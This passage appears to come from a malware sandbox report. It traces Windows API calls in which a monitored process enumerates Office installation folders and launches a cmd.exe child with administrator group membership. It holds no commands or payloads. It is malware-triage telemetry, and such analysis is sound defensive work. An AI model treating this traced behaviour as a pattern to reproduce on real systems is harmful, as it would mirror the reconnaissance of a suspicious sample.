	[0184.199] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0184.200] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.201] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0184.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.202] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0184.204] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.204] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0184.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.206] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0184.208] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.208] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0184.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.209] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0184.213] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.213] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0184.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.214] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0184.216] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.216] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0184.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.218] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0184.220] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.220] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0184.222] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.222] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0184.224] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.224] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0184.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.226] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0184.664] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.664] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0184.666] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.666] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0184.668] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.668] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0184.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.670] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0184.672] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.672] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0184.673] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.673] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0184.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.675] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0184.677] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.677] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0184.678] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.678] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0184.680] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.680] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0184.681] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.681] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0184.683] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.683] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0184.683] FindClose (in: hFindFile=0x3cf0f28 | out: hFindFile=0x3cf0f28) returned 1
	[0184.683] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cece8 | out: hHeap=0x6a0000) returned 1
	[0184.683] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38dee10 | out: lpFindFileData=0x38dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0184.683] FindClose (in: hFindFile=0x3cf0ee8 | out: hFindFile=0x3cf0ee8) returned 1
	[0184.683] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0184.683] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0184.685] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x437a0f0, Size=0x80000) returned 0x447a020
	[0184.692] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0184.692] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0184.695] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cece8 | out: hHeap=0x6a0000) returned 1
	[0184.695] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38dee10 | out: lpFindFileData=0x38dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0184.696] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cece8 | out: hHeap=0x6a0000) returned 1
	[0184.696] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38dee10 | out: lpFindFileData=0x38dee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1

Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x34075000"
	os_pid = "0xfc0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xfb4"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 87
	os_tid = 0xfc4

	[0181.548] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7c20e0000
	[0181.548] __set_app_type (_Type=0x1) 
	[0181.548] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7c20f6d00) returned 0x0
	[0181.548] __getmainargs (in: _Argc=0x7ff7c2119200, _Argv=0x7ff7c2119208, _Env=0x7ff7c2119210, _DoWildCard=0, _StartInfo=0x7ff7c211921c | out: _Argc=0x7ff7c2119200, _Argv=0x7ff7c2119208, _Env=0x7ff7c2119210) returned 0
	[0181.549] _onexit (_Func=0x7ff7c20f7fd0) returned 0x7ff7c20f7fd0
	[0181.549] _onexit (_Func=0x7ff7c20f7fe0) returned 0x7ff7c20f7fe0
	[0181.549] _onexit (_Func=0x7ff7c20f7ff0) returned 0x7ff7c20f7ff0
	[0181.549] _onexit (_Func=0x7ff7c20f8000) returned 0x7ff7c20f8000
	[0181.554] _onexit (_Func=0x7ff7c20f8010) returned 0x7ff7c20f8010
	[0181.555] _onexit (_Func=0x7ff7c20f8020) returned 0x7ff7c20f8020
	[0181.555] GetCurrentThreadId () returned 0xfc4
	[0181.555] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfc4) returned 0x70
	[0181.556] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffb427e0000
	[0181.556] GetProcAddress (hModule=0x7ffb427e0000, lpProcName="SetThreadUILanguage") returned 0x7ffb427fa990
	[0181.556] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0182.148] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0182.148] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbc6671fc98 | out: phkResult=0xbc6671fc98*=0x0) returned 0x2
	[0182.149] VirtualQuery (in: lpAddress=0xbc6671fc84, lpBuffer=0xbc6671fc00, dwLength=0x30 | out: lpBuffer=0xbc6671fc00*(BaseAddress=0xbc6671f000, AllocationBase=0xbc66620000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0182.149] VirtualQuery (in: lpAddress=0xbc66620000, lpBuffer=0xbc6671fc00, dwLength=0x30 | out: lpBuffer=0xbc6671fc00*(BaseAddress=0xbc66620000, AllocationBase=0xbc66620000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0182.149] VirtualQuery (in: lpAddress=0xbc66621000, lpBuffer=0xbc6671fc00, dwLength=0x30 | out: lpBuffer=0xbc6671fc00*(BaseAddress=0xbc66621000, AllocationBase=0xbc66620000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0182.149] VirtualQuery (in: lpAddress=0xbc66624000, lpBuffer=0xbc6671fc00, dwLength=0x30 | out: lpBuffer=0xbc6671fc00*(BaseAddress=0xbc66624000, AllocationBase=0xbc66620000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0182.149] VirtualQuery (in: lpAddress=0xbc66720000, lpBuffer=0xbc6671fc00, dwLength=0x30 | out: lpBuffer=0xbc6671fc00*(BaseAddress=0xbc66720000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffcd89, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0182.149] GetConsoleOutputCP () returned 0x1b5
